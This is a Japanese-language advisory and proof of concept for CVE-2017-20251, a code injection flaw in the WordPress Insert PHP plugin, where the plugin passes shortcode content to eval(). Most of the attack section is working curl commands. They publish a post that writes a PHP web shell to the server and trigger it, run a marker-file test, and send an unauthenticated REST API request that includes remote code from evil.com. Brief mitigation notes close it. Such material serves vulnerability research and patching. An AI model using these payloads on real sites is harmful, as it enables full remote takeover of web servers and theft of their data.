
挿入PHPプラグイン PHPコードインジェクション
| フィールド | 値 |
|---|
| CVE ID | CVE-2017-20251 |
| プラグイン | Insert PHP (現在は Woody Code Snippets) |
| 影響を受けるバージョン | < 3.3.1 (1.3 でテスト済み) |
| CWE | CWE-94 (コードインジェクション) |
| CVSS v3.1 | 9.8 (クリティカル) |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 公開情報 | 公開 (Exploit-DB 41308) |
バージョン 3.3.1 より前の Insert PHP プラグインは、ショートコードインジェクションの脆弱性により、リモートの攻撃者が任意の PHP コードを実行することを可能にします。このプラグインは [insert_php]...[/insert_php] ショートコードを登録しており、サニタイズや検証なしに PHP の eval() 関数を使用してショートコードタグ内のコンテンツを直接評価します。
投稿を作成または編集できる攻撃者 (REST API、XML-RPC、または寄稿者/管理者権限による) は、コンテンツをレンダリングする任意のページや投稿に任意の PHP コードを注入でき、Web サーバー上で完全なリモートコード実行 (RCE) を達成できます。
この脆弱性は、the_content フィルターとして登録されている will_bontrager_insert_php() 関数に存在します:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
主な問題点:
eval() に渡される[insert_php] ショートコードを含む悪意のあるコンテンツの投稿を作成または編集するthe_content フィルターを実行するeval() がサーバー上で任意の PHP コードを実行する深刻度: クリティカル
Web サーバー上での完全なリモートコード実行 (RCE):
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
REST API が未認証の投稿作成を許可していた古い WordPress バージョン向け:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
脆弱なショートコードが処理されると、内部の PHP コードが eval() によって実行されます。マーカーファイルテストの場合:
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML 定数を設定する (ただし、この問題を完全には軽減できない)パッチ適用済みバージョン (3.3.1+):
[insert_php] から [wbcr_php_snippet] に変更eval() 使用を廃止し、安全な実行コンテキストを採用